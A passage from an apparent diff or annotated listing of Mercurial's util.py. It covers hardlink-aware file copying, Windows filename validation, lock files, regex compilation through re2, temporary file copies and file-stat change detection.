1877 oldstat = checkambig and filestat.frompath(dest)
1878 unlink(dest)
1878 unlink(dest)
1879 if hardlink:
1879 if hardlink:
1880 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1880 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1881 # unless we are confident that dest is on a whitelisted filesystem.
1881 # unless we are confident that dest is on a whitelisted filesystem.
1882 try:
1882 try:
1883 fstype = getfstype(os.path.dirname(dest))
1883 fstype = getfstype(os.path.dirname(dest))
1884 except OSError:
1884 except OSError:
1885 fstype = None
1885 fstype = None
1886 if fstype not in _hardlinkfswhitelist:
1886 if fstype not in _hardlinkfswhitelist:
1887 hardlink = False
1887 hardlink = False
1888 if hardlink:
1888 if hardlink:
1889 try:
1889 try:
1890 oslink(src, dest)
1890 oslink(src, dest)
1891 return
1891 return
1892 except (IOError, OSError):
1892 except (IOError, OSError):
1893 pass # fall back to normal copy
1893 pass # fall back to normal copy
1894 if os.path.islink(src):
1894 if os.path.islink(src):
1895 os.symlink(os.readlink(src), dest)
1895 os.symlink(os.readlink(src), dest)
1896 # copytime is ignored for symlinks, but in general copytime isn't needed
1896 # copytime is ignored for symlinks, but in general copytime isn't needed
1897 # for them anyway
1897 # for them anyway
1898 else:
1898 else:
1899 try:
1899 try:
1900 shutil.copyfile(src, dest)
1900 shutil.copyfile(src, dest)
1901 if copystat:
1901 if copystat:
1902 # copystat also copies mode
1902 # copystat also copies mode
1903 shutil.copystat(src, dest)
1903 shutil.copystat(src, dest)
1904 else:
1904 else:
1905 shutil.copymode(src, dest)
1905 shutil.copymode(src, dest)
1906 if oldstat and oldstat.stat:
1906 if oldstat and oldstat.stat:
1907 newstat = filestat.frompath(dest)
1907 newstat = filestat.frompath(dest)
1908 if newstat.isambig(oldstat):
1908 if newstat.isambig(oldstat):
1909 # stat of copied file is ambiguous to original one
1909 # stat of copied file is ambiguous to original one
1910 advanced = (
1910 advanced = (
1911 oldstat.stat[stat.ST_MTIME] + 1
1911 oldstat.stat[stat.ST_MTIME] + 1
1912 ) & 0x7FFFFFFF
1912 ) & 0x7FFFFFFF
1913 os.utime(dest, (advanced, advanced))
1913 os.utime(dest, (advanced, advanced))
1914 except shutil.Error as inst:
1914 except shutil.Error as inst:
1915 raise error.Abort(stringutil.forcebytestr(inst))
1915 raise error.Abort(stringutil.forcebytestr(inst))
1916
1916
1917
1917
1918 def copyfiles(src, dst, hardlink=None, progress=None):
1918 def copyfiles(src, dst, hardlink=None, progress=None):
1919 """Copy a directory tree using hardlinks if possible."""
1919 """Copy a directory tree using hardlinks if possible."""
1920 num = 0
1920 num = 0
1921
1921
1922 def settopic():
1922 def settopic():
1923 if progress:
1923 if progress:
1924 progress.topic = _(b'linking') if hardlink else _(b'copying')
1924 progress.topic = _(b'linking') if hardlink else _(b'copying')
1925
1925
1926 if os.path.isdir(src):
1926 if os.path.isdir(src):
1927 if hardlink is None:
1927 if hardlink is None:
1928 hardlink = (
1928 hardlink = (
1929 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1929 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1930 )
1930 )
1931 settopic()
1931 settopic()
1932 os.mkdir(dst)
1932 os.mkdir(dst)
1933 for name, kind in listdir(src):
1933 for name, kind in listdir(src):
1934 srcname = os.path.join(src, name)
1934 srcname = os.path.join(src, name)
1935 dstname = os.path.join(dst, name)
1935 dstname = os.path.join(dst, name)
1936 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1936 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1937 num += n
1937 num += n
1938 else:
1938 else:
1939 if hardlink is None:
1939 if hardlink is None:
1940 hardlink = (
1940 hardlink = (
1941 os.stat(os.path.dirname(src)).st_dev
1941 os.stat(os.path.dirname(src)).st_dev
1942 == os.stat(os.path.dirname(dst)).st_dev
1942 == os.stat(os.path.dirname(dst)).st_dev
1943 )
1943 )
1944 settopic()
1944 settopic()
1945
1945
1946 if hardlink:
1946 if hardlink:
1947 try:
1947 try:
1948 oslink(src, dst)
1948 oslink(src, dst)
1949 except (IOError, OSError):
1949 except (IOError, OSError):
1950 hardlink = False
1950 hardlink = False
1951 shutil.copy(src, dst)
1951 shutil.copy(src, dst)
1952 else:
1952 else:
1953 shutil.copy(src, dst)
1953 shutil.copy(src, dst)
1954 num += 1
1954 num += 1
1955 if progress:
1955 if progress:
1956 progress.increment()
1956 progress.increment()
1957
1957
1958 return hardlink, num
1958 return hardlink, num
1959
1959
1960
1960
1961 _winreservednames = {
1961 _winreservednames = {
1962 b'con',
1962 b'con',
1963 b'prn',
1963 b'prn',
1964 b'aux',
1964 b'aux',
1965 b'nul',
1965 b'nul',
1966 b'com1',
1966 b'com1',
1967 b'com2',
1967 b'com2',
1968 b'com3',
1968 b'com3',
1969 b'com4',
1969 b'com4',
1970 b'com5',
1970 b'com5',
1971 b'com6',
1971 b'com6',
1972 b'com7',
1972 b'com7',
1973 b'com8',
1973 b'com8',
1974 b'com9',
1974 b'com9',
1975 b'lpt1',
1975 b'lpt1',
1976 b'lpt2',
1976 b'lpt2',
1977 b'lpt3',
1977 b'lpt3',
1978 b'lpt4',
1978 b'lpt4',
1979 b'lpt5',
1979 b'lpt5',
1980 b'lpt6',
1980 b'lpt6',
1981 b'lpt7',
1981 b'lpt7',
1982 b'lpt8',
1982 b'lpt8',
1983 b'lpt9',
1983 b'lpt9',
1984 }
1984 }
1985 _winreservedchars = b':*?"<>|'
1985 _winreservedchars = b':*?"<>|'
1986
1986
1987
1987
1988 def checkwinfilename(path):
1988 def checkwinfilename(path):
1989 r'''Check that the base-relative path is a valid filename on Windows.
1989 r'''Check that the base-relative path is a valid filename on Windows.
1990 Returns None if the path is ok, or a UI string describing the problem.
1990 Returns None if the path is ok, or a UI string describing the problem.
1991
1991
1992 >>> checkwinfilename(b"just/a/normal/path")
1992 >>> checkwinfilename(b"just/a/normal/path")
1993 >>> checkwinfilename(b"foo/bar/con.xml")
1993 >>> checkwinfilename(b"foo/bar/con.xml")
1994 "filename contains 'con', which is reserved on Windows"
1994 "filename contains 'con', which is reserved on Windows"
1995 >>> checkwinfilename(b"foo/con.xml/bar")
1995 >>> checkwinfilename(b"foo/con.xml/bar")
1996 "filename contains 'con', which is reserved on Windows"
1996 "filename contains 'con', which is reserved on Windows"
1997 >>> checkwinfilename(b"foo/bar/xml.con")
1997 >>> checkwinfilename(b"foo/bar/xml.con")
1998 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1998 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1999 "filename contains 'AUX', which is reserved on Windows"
1999 "filename contains 'AUX', which is reserved on Windows"
2000 >>> checkwinfilename(b"foo/bar/bla:.txt")
2000 >>> checkwinfilename(b"foo/bar/bla:.txt")
2001 "filename contains ':', which is reserved on Windows"
2001 "filename contains ':', which is reserved on Windows"
2002 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2002 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2003 "filename contains '\\x07', which is invalid on Windows"
2003 "filename contains '\\x07', which is invalid on Windows"
2004 >>> checkwinfilename(b"foo/bar/bla ")
2004 >>> checkwinfilename(b"foo/bar/bla ")
2005 "filename ends with ' ', which is not allowed on Windows"
2005 "filename ends with ' ', which is not allowed on Windows"
2006 >>> checkwinfilename(b"../bar")
2006 >>> checkwinfilename(b"../bar")
2007 >>> checkwinfilename(b"foo\\")
2007 >>> checkwinfilename(b"foo\\")
2008 "filename ends with '\\', which is invalid on Windows"
2008 "filename ends with '\\', which is invalid on Windows"
2009 >>> checkwinfilename(b"foo\\/bar")
2009 >>> checkwinfilename(b"foo\\/bar")
2010 "directory name ends with '\\', which is invalid on Windows"
2010 "directory name ends with '\\', which is invalid on Windows"
2011 '''
2011 '''
2012 if path.endswith(b'\\'):
2012 if path.endswith(b'\\'):
2013 return _(b"filename ends with '\\', which is invalid on Windows")
2013 return _(b"filename ends with '\\', which is invalid on Windows")
2014 if b'\\/' in path:
2014 if b'\\/' in path:
2015 return _(b"directory name ends with '\\', which is invalid on Windows")
2015 return _(b"directory name ends with '\\', which is invalid on Windows")
2016 for n in path.replace(b'\\', b'/').split(b'/'):
2016 for n in path.replace(b'\\', b'/').split(b'/'):
2017 if not n:
2017 if not n:
2018 continue
2018 continue
2019 for c in _filenamebytestr(n):
2019 for c in _filenamebytestr(n):
2020 if c in _winreservedchars:
2020 if c in _winreservedchars:
2021 return (
2021 return (
2022 _(
2022 _(
2023 b"filename contains '%s', which is reserved "
2023 b"filename contains '%s', which is reserved "
2024 b"on Windows"
2024 b"on Windows"
2025 )
2025 )
2026 % c
2026 % c
2027 )
2027 )
2028 if ord(c) <= 31:
2028 if ord(c) <= 31:
2029 return _(
2029 return _(
2030 b"filename contains '%s', which is invalid on Windows"
2030 b"filename contains '%s', which is invalid on Windows"
2031 ) % stringutil.escapestr(c)
2031 ) % stringutil.escapestr(c)
2032 base = n.split(b'.')[0]
2032 base = n.split(b'.')[0]
2033 if base and base.lower() in _winreservednames:
2033 if base and base.lower() in _winreservednames:
2034 return (
2034 return (
2035 _(b"filename contains '%s', which is reserved on Windows")
2035 _(b"filename contains '%s', which is reserved on Windows")
2036 % base
2036 % base
2037 )
2037 )
2038 t = n[-1:]
2038 t = n[-1:]
2039 if t in b'. ' and n not in b'..':
2039 if t in b'. ' and n not in b'..':
2040 return (
2040 return (
2041 _(
2041 _(
2042 b"filename ends with '%s', which is not allowed "
2042 b"filename ends with '%s', which is not allowed "
2043 b"on Windows"
2043 b"on Windows"
2044 )
2044 )
2045 % t
2045 % t
2046 )
2046 )
2047
2047
2048
2048
2049 if pycompat.iswindows:
2049 if pycompat.iswindows:
2050 checkosfilename = checkwinfilename
2050 checkosfilename = checkwinfilename
2051 timer = time.clock
2051 timer = time.clock
2052 else:
2052 else:
2053 checkosfilename = platform.checkosfilename
2053 # mercurial.windows doesn't have platform.checkosfilename
2054 checkosfilename = platform.checkosfilename # pytype: disable=module-attr
2054 timer = time.time
2055 timer = time.time
2055
2056
2056 if safehasattr(time, "perf_counter"):
2057 if safehasattr(time, "perf_counter"):
2057 timer = time.perf_counter
2058 timer = time.perf_counter
2058
2059
2059
2060
2060 def makelock(info, pathname):
2061 def makelock(info, pathname):
2061 """Create a lock file atomically if possible
2062 """Create a lock file atomically if possible
2062
2063
2063 This may leave a stale lock file if symlink isn't supported and signal
2064 This may leave a stale lock file if symlink isn't supported and signal
2064 interrupt is enabled.
2065 interrupt is enabled.
2065 """
2066 """
2066 try:
2067 try:
2067 return os.symlink(info, pathname)
2068 return os.symlink(info, pathname)
2068 except OSError as why:
2069 except OSError as why:
2069 if why.errno == errno.EEXIST:
2070 if why.errno == errno.EEXIST:
2070 raise
2071 raise
2071 except AttributeError: # no symlink in os
2072 except AttributeError: # no symlink in os
2072 pass
2073 pass
2073
2074
2074 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2075 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2075 ld = os.open(pathname, flags)
2076 ld = os.open(pathname, flags)
2076 os.write(ld, info)
2077 os.write(ld, info)
2077 os.close(ld)
2078 os.close(ld)
2078
2079
2079
2080
2080 def readlock(pathname):
2081 def readlock(pathname):
2081 try:
2082 try:
2082 return readlink(pathname)
2083 return readlink(pathname)
2083 except OSError as why:
2084 except OSError as why:
2084 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2085 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2085 raise
2086 raise
2086 except AttributeError: # no symlink in os
2087 except AttributeError: # no symlink in os
2087 pass
2088 pass
2088 with posixfile(pathname, b'rb') as fp:
2089 with posixfile(pathname, b'rb') as fp:
2089 return fp.read()
2090 return fp.read()
2090
2091
2091
2092
2092 def fstat(fp):
2093 def fstat(fp):
2093 '''stat file object that may not have fileno method.'''
2094 '''stat file object that may not have fileno method.'''
2094 try:
2095 try:
2095 return os.fstat(fp.fileno())
2096 return os.fstat(fp.fileno())
2096 except AttributeError:
2097 except AttributeError:
2097 return os.stat(fp.name)
2098 return os.stat(fp.name)
2098
2099
2099
2100
2100 # File system features
2101 # File system features
2101
2102
2102
2103
2103 def fscasesensitive(path):
2104 def fscasesensitive(path):
2104 """
2105 """
2105 Return true if the given path is on a case-sensitive filesystem
2106 Return true if the given path is on a case-sensitive filesystem
2106
2107
2107 Requires a path (like /foo/.hg) ending with a foldable final
2108 Requires a path (like /foo/.hg) ending with a foldable final
2108 directory component.
2109 directory component.
2109 """
2110 """
2110 s1 = os.lstat(path)
2111 s1 = os.lstat(path)
2111 d, b = os.path.split(path)
2112 d, b = os.path.split(path)
2112 b2 = b.upper()
2113 b2 = b.upper()
2113 if b == b2:
2114 if b == b2:
2114 b2 = b.lower()
2115 b2 = b.lower()
2115 if b == b2:
2116 if b == b2:
2116 return True # no evidence against case sensitivity
2117 return True # no evidence against case sensitivity
2117 p2 = os.path.join(d, b2)
2118 p2 = os.path.join(d, b2)
2118 try:
2119 try:
2119 s2 = os.lstat(p2)
2120 s2 = os.lstat(p2)
2120 if s2 == s1:
2121 if s2 == s1:
2121 return False
2122 return False
2122 return True
2123 return True
2123 except OSError:
2124 except OSError:
2124 return True
2125 return True
2125
2126
2126
2127
2127 try:
2128 try:
2128 import re2 # pytype: disable=import-error
2129 import re2 # pytype: disable=import-error
2129
2130
2130 _re2 = None
2131 _re2 = None
2131 except ImportError:
2132 except ImportError:
2132 _re2 = False
2133 _re2 = False
2133
2134
2134
2135
2135 class _re(object):
2136 class _re(object):
2136 def _checkre2(self):
2137 def _checkre2(self):
2137 global _re2
2138 global _re2
2138 try:
2139 try:
2139 # check if match works, see issue3964
2140 # check if match works, see issue3964
2140 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2141 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2141 except ImportError:
2142 except ImportError:
2142 _re2 = False
2143 _re2 = False
2143
2144
2144 def compile(self, pat, flags=0):
2145 def compile(self, pat, flags=0):
2145 '''Compile a regular expression, using re2 if possible
2146 '''Compile a regular expression, using re2 if possible
2146
2147
2147 For best performance, use only re2-compatible regexp features. The
2148 For best performance, use only re2-compatible regexp features. The
2148 only flags from the re module that are re2-compatible are
2149 only flags from the re module that are re2-compatible are
2149 IGNORECASE and MULTILINE.'''
2150 IGNORECASE and MULTILINE.'''
2150 if _re2 is None:
2151 if _re2 is None:
2151 self._checkre2()
2152 self._checkre2()
2152 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2153 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2153 if flags & remod.IGNORECASE:
2154 if flags & remod.IGNORECASE:
2154 pat = b'(?i)' + pat
2155 pat = b'(?i)' + pat
2155 if flags & remod.MULTILINE:
2156 if flags & remod.MULTILINE:
2156 pat = b'(?m)' + pat
2157 pat = b'(?m)' + pat
2157 try:
2158 try:
2158 return re2.compile(pat)
2159 return re2.compile(pat)
2159 except re2.error:
2160 except re2.error:
2160 pass
2161 pass
2161 return remod.compile(pat, flags)
2162 return remod.compile(pat, flags)
2162
2163
2163 @propertycache
2164 @propertycache
2164 def escape(self):
2165 def escape(self):
2165 '''Return the version of escape corresponding to self.compile.
2166 '''Return the version of escape corresponding to self.compile.
2166
2167
2167 This is imperfect because whether re2 or re is used for a particular
2168 This is imperfect because whether re2 or re is used for a particular
2168 function depends on the flags, etc, but it's the best we can do.
2169 function depends on the flags, etc, but it's the best we can do.
2169 '''
2170 '''
2170 global _re2
2171 global _re2
2171 if _re2 is None:
2172 if _re2 is None:
2172 self._checkre2()
2173 self._checkre2()
2173 if _re2:
2174 if _re2:
2174 return re2.escape
2175 return re2.escape
2175 else:
2176 else:
2176 return remod.escape
2177 return remod.escape
2177
2178
2178
2179
2179 re = _re()
2180 re = _re()
2180
2181
2181 _fspathcache = {}
2182 _fspathcache = {}
2182
2183
2183
2184
2184 def fspath(name, root):
2185 def fspath(name, root):
2185 '''Get name in the case stored in the filesystem
2186 '''Get name in the case stored in the filesystem
2186
2187
2187 The name should be relative to root, and be normcase-ed for efficiency.
2188 The name should be relative to root, and be normcase-ed for efficiency.
2188
2189
2189 Note that this function is unnecessary, and should not be
2190 Note that this function is unnecessary, and should not be
2190 called, for case-sensitive filesystems (simply because it's expensive).
2191 called, for case-sensitive filesystems (simply because it's expensive).
2191
2192
2192 The root should be normcase-ed, too.
2193 The root should be normcase-ed, too.
2193 '''
2194 '''
2194
2195
2195 def _makefspathcacheentry(dir):
2196 def _makefspathcacheentry(dir):
2196 return dict((normcase(n), n) for n in os.listdir(dir))
2197 return dict((normcase(n), n) for n in os.listdir(dir))
2197
2198
2198 seps = pycompat.ossep
2199 seps = pycompat.ossep
2199 if pycompat.osaltsep:
2200 if pycompat.osaltsep:
2200 seps = seps + pycompat.osaltsep
2201 seps = seps + pycompat.osaltsep
2201 # Protect backslashes. This gets silly very quickly.
2202 # Protect backslashes. This gets silly very quickly.
2202 seps.replace(b'\\', b'\\\\')
2203 seps.replace(b'\\', b'\\\\')
2203 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2204 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2204 dir = os.path.normpath(root)
2205 dir = os.path.normpath(root)
2205 result = []
2206 result = []
2206 for part, sep in pattern.findall(name):
2207 for part, sep in pattern.findall(name):
2207 if sep:
2208 if sep:
2208 result.append(sep)
2209 result.append(sep)
2209 continue
2210 continue
2210
2211
2211 if dir not in _fspathcache:
2212 if dir not in _fspathcache:
2212 _fspathcache[dir] = _makefspathcacheentry(dir)
2213 _fspathcache[dir] = _makefspathcacheentry(dir)
2213 contents = _fspathcache[dir]
2214 contents = _fspathcache[dir]
2214
2215
2215 found = contents.get(part)
2216 found = contents.get(part)
2216 if not found:
2217 if not found:
2217 # retry "once per directory" per "dirstate.walk" which
2218 # retry "once per directory" per "dirstate.walk" which
2218 # may take place for each patches of "hg qpush", for example
2219 # may take place for each patches of "hg qpush", for example
2219 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2220 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2220 found = contents.get(part)
2221 found = contents.get(part)
2221
2222
2222 result.append(found or part)
2223 result.append(found or part)
2223 dir = os.path.join(dir, part)
2224 dir = os.path.join(dir, part)
2224
2225
2225 return b''.join(result)
2226 return b''.join(result)
2226
2227
2227
2228
2228 def checknlink(testfile):
2229 def checknlink(testfile):
2229 '''check whether hardlink count reporting works properly'''
2230 '''check whether hardlink count reporting works properly'''
2230
2231
2231 # testfile may be open, so we need a separate file for checking to
2232 # testfile may be open, so we need a separate file for checking to
2232 # work around issue2543 (or testfile may get lost on Samba shares)
2233 # work around issue2543 (or testfile may get lost on Samba shares)
2233 f1, f2, fp = None, None, None
2234 f1, f2, fp = None, None, None
2234 try:
2235 try:
2235 fd, f1 = pycompat.mkstemp(
2236 fd, f1 = pycompat.mkstemp(
2236 prefix=b'.%s-' % os.path.basename(testfile),
2237 prefix=b'.%s-' % os.path.basename(testfile),
2237 suffix=b'1~',
2238 suffix=b'1~',
2238 dir=os.path.dirname(testfile),
2239 dir=os.path.dirname(testfile),
2239 )
2240 )
2240 os.close(fd)
2241 os.close(fd)
2241 f2 = b'%s2~' % f1[:-2]
2242 f2 = b'%s2~' % f1[:-2]
2242
2243
2243 oslink(f1, f2)
2244 oslink(f1, f2)
2244 # nlinks() may behave differently for files on Windows shares if
2245 # nlinks() may behave differently for files on Windows shares if
2245 # the file is open.
2246 # the file is open.
2246 fp = posixfile(f2)
2247 fp = posixfile(f2)
2247 return nlinks(f2) > 1
2248 return nlinks(f2) > 1
2248 except OSError:
2249 except OSError:
2249 return False
2250 return False
2250 finally:
2251 finally:
2251 if fp is not None:
2252 if fp is not None:
2252 fp.close()
2253 fp.close()
2253 for f in (f1, f2):
2254 for f in (f1, f2):
2254 try:
2255 try:
2255 if f is not None:
2256 if f is not None:
2256 os.unlink(f)
2257 os.unlink(f)
2257 except OSError:
2258 except OSError:
2258 pass
2259 pass
2259
2260
2260
2261
2261 def endswithsep(path):
2262 def endswithsep(path):
2262 '''Check path ends with os.sep or os.altsep.'''
2263 '''Check path ends with os.sep or os.altsep.'''
2263 return (
2264 return (
2264 path.endswith(pycompat.ossep)
2265 path.endswith(pycompat.ossep)
2265 or pycompat.osaltsep
2266 or pycompat.osaltsep
2266 and path.endswith(pycompat.osaltsep)
2267 and path.endswith(pycompat.osaltsep)
2267 )
2268 )
2268
2269
2269
2270
2270 def splitpath(path):
2271 def splitpath(path):
2271 '''Split path by os.sep.
2272 '''Split path by os.sep.
2272 Note that this function does not use os.altsep because this is
2273 Note that this function does not use os.altsep because this is
2273 an alternative of simple "xxx.split(os.sep)".
2274 an alternative of simple "xxx.split(os.sep)".
2274 It is recommended to use os.path.normpath() before using this
2275 It is recommended to use os.path.normpath() before using this
2275 function if need.'''
2276 function if need.'''
2276 return path.split(pycompat.ossep)
2277 return path.split(pycompat.ossep)
2277
2278
2278
2279
2279 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2280 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2280 """Create a temporary file with the same contents from name
2281 """Create a temporary file with the same contents from name
2281
2282
2282 The permission bits are copied from the original file.
2283 The permission bits are copied from the original file.
2283
2284
2284 If the temporary file is going to be truncated immediately, you
2285 If the temporary file is going to be truncated immediately, you
2285 can use emptyok=True as an optimization.
2286 can use emptyok=True as an optimization.
2286
2287
2287 Returns the name of the temporary file.
2288 Returns the name of the temporary file.
2288 """
2289 """
2289 d, fn = os.path.split(name)
2290 d, fn = os.path.split(name)
2290 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2291 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2291 os.close(fd)
2292 os.close(fd)
2292 # Temporary files are created with mode 0600, which is usually not
2293 # Temporary files are created with mode 0600, which is usually not
2293 # what we want. If the original file already exists, just copy
2294 # what we want. If the original file already exists, just copy
2294 # its mode. Otherwise, manually obey umask.
2295 # its mode. Otherwise, manually obey umask.
2295 copymode(name, temp, createmode, enforcewritable)
2296 copymode(name, temp, createmode, enforcewritable)
2296
2297
2297 if emptyok:
2298 if emptyok:
2298 return temp
2299 return temp
2299 try:
2300 try:
2300 try:
2301 try:
2301 ifp = posixfile(name, b"rb")
2302 ifp = posixfile(name, b"rb")
2302 except IOError as inst:
2303 except IOError as inst:
2303 if inst.errno == errno.ENOENT:
2304 if inst.errno == errno.ENOENT:
2304 return temp
2305 return temp
2305 if not getattr(inst, 'filename', None):
2306 if not getattr(inst, 'filename', None):
2306 inst.filename = name
2307 inst.filename = name
2307 raise
2308 raise
2308 ofp = posixfile(temp, b"wb")
2309 ofp = posixfile(temp, b"wb")
2309 for chunk in filechunkiter(ifp):
2310 for chunk in filechunkiter(ifp):
2310 ofp.write(chunk)
2311 ofp.write(chunk)
2311 ifp.close()
2312 ifp.close()
2312 ofp.close()
2313 ofp.close()
2313 except: # re-raises
2314 except: # re-raises
2314 try:
2315 try:
2315 os.unlink(temp)
2316 os.unlink(temp)
2316 except OSError:
2317 except OSError:
2317 pass
2318 pass
2318 raise
2319 raise
2319 return temp
2320 return temp
2320
2321
2321
2322
2322 class filestat(object):
2323 class filestat(object):
2323 """help to exactly detect change of a file
2324 """help to exactly detect change of a file
2324
2325
2325 'stat' attribute is result of 'os.stat()' if specified 'path'
2326 'stat' attribute is result of 'os.stat()' if specified 'path'
2326 exists. Otherwise, it is None. This can avoid preparative
2327 exists. Otherwise, it is None. This can avoid preparative
2327 'exists()' examination on client side of this class.
2328 'exists()' examination on client side of this class.
2328 """
2329 """
2329
2330
2330 def __init__(self, stat):
2331 def __init__(self, stat):
2331 self.stat = stat
2332 self.stat = stat
2332
2333
2333 @classmethod
2334 @classmethod
2334 def frompath(cls, path):
2335 def frompath(cls, path):
2335 try:
2336 try:
2336 stat = os.stat(path)
2337 stat = os.stat(path)
2337 except OSError as err:
2338 except OSError as err:
2338 if err.errno != errno.ENOENT:
2339 if err.errno != errno.ENOENT:
2339 raise
2340 raise
2340 stat = None
2341 stat = None
2341 return cls(stat)
2342 return cls(stat)
2342
2343
2343 @classmethod
2344 @classmethod
2344 def fromfp(cls, fp):
2345 def fromfp(cls, fp):
2345 stat = os.fstat(fp.fileno())
2346 stat = os.fstat(fp.fileno())
2346 return cls(stat)
2347 return cls(stat)
2347
2348
2348 __hash__ = object.__hash__
2349 __hash__ = object.__hash__
2349
2350
2350 def __eq__(self, old):
2351 def __eq__(self, old):
2351 try:
2352 try:
2352 # if ambiguity between stat of new and old file is
2353 # if ambiguity between stat of new and old file is
2353 # avoided, comparison of size, ctime and mtime is enough
2354 # avoided, comparison of size, ctime and mtime is enough
2354 # to exactly detect change of a file regardless of platform
2355 # to exactly detect change of a file regardless of platform
2355 return (
2356 return (
2356 self.stat.st_size == old.stat.st_size
2357 self.stat.st_size == old.stat.st_size
2357 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2358 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2358 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2359 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2359 )
2360 )
2360 except AttributeError:
2361 except AttributeError:
2361 pass
2362 pass
2362 try:
2363 try:
2363 return self.stat is None and old.stat is None
2364 return self.stat is None and old.stat is None
2364 except AttributeError:
2365 except AttributeError:
2365 return False
2366 return False
2366
2367
2367 def isambig(self, old):
2368 def isambig(self, old):
2368 """Examine whether new (= self) stat is ambiguous against old one
2369 """Examine whether new (= self) stat is ambiguous against old one
2369
2370
2370 "S[N]" below means stat of a file at N-th change:
2371 "S[N]" below means stat of a file at N-th change:
2371
2372
2372 - S[n-1].ctime < S[n].ctime: can detect change of a file
2373 - S[n-1].ctime < S[n].ctime: can detect change of a file
2373 - S[n-1].ctime == S[n].ctime
2374 - S[n-1].ctime == S[n].ctime
2374 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2375 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2375 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2376 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2376 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2377 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2377 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2378 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2378
2379
2379 Case (*2) above means that a file was changed twice or more at
2380 Case (*2) above means that a file was changed twice or more at
2380 same time in sec (= S[n-1].ctime), and comparison of timestamp
2381 same time in sec (= S[n-1].ctime), and comparison of timestamp
2381 is ambiguous.
2382 is ambiguous.
2382
2383
2383 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2384 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2384 timestamp is ambiguous".
2385 timestamp is ambiguous".
2385
2386
2386 But advancing mtime only in case (*2) doesn't work as
2387 But advancing mtime only in case (*2) doesn't work as
2387 expected, because naturally advanced S[n].mtime in case (*1)
2388 expected, because naturally advanced S[n].mtime in case (*1)
2388 might be equal to manually advanced S[n-1 or earlier].mtime.
2389 might be equal to manually advanced S[n-1 or earlier].mtime.
2389
2390
2390 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2391 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2391 treated as ambiguous regardless of mtime, to avoid overlooking
2392 treated as ambiguous regardless of mtime, to avoid overlooking
2392 by confliction between such mtime.
2393 by confliction between such mtime.
2393
2394
2394 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2395 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2395 S[n].mtime", even if size of a file isn't changed.
2396 S[n].mtime", even if size of a file isn't changed.
2396 """
2397 """
2397 try:
2398 try:
2398 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2399 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2399 except AttributeError:
2400 except AttributeError:
2400 return False
2401 return False
2401
2402
2402 def avoidambig(self, path, old):
2403 def avoidambig(self, path, old):
2403 """Change file stat of specified path to avoid ambiguity
2404 """Change file stat of specified path to avoid ambiguity
2404
2405
2405 'old' should be previous filestat of 'path'.
2406 'old' should be previous filestat of 'path'.
2406
2407
2407 This skips avoiding ambiguity, if a process doesn't have
2408 This skips avoiding ambiguity, if a process doesn't have
2408 appropriate privileges for 'path'. This returns False in this
2409 appropriate privileges for 'path'. This returns False in this
2409 case.
2410 case.
2410
2411
2411 Otherwise, this returns True, as "ambiguity is avoided".
2412 Otherwise, this returns True, as "ambiguity is avoided".
2412 """
2413 """
2413 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2414 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2414 try:
2415 try:
2415 os.utime(path, (advanced, advanced))
2416 os.utime(path, (advanced, advanced))
2416 except OSError as inst:
2417 except OSError as inst:
2417 if inst.errno == errno.EPERM:
2418 if inst.errno == errno.EPERM:
2418 # utime() on the file created by another user causes EPERM,
2419 # utime() on the file created by another user causes EPERM,
2419 # if a process doesn't have appropriate privileges
2420 # if a process doesn't have appropriate privileges
2420 return False
2421 return False
2421 raise
2422 raise
2422 return True
2423 return True
2423
2424
2424 def __ne__(self, other):
2425 def __ne__(self, other):
2425 return not self == other
2426 return not self == other
2426
2427
2427
2428
2428 class atomictempfile(object):
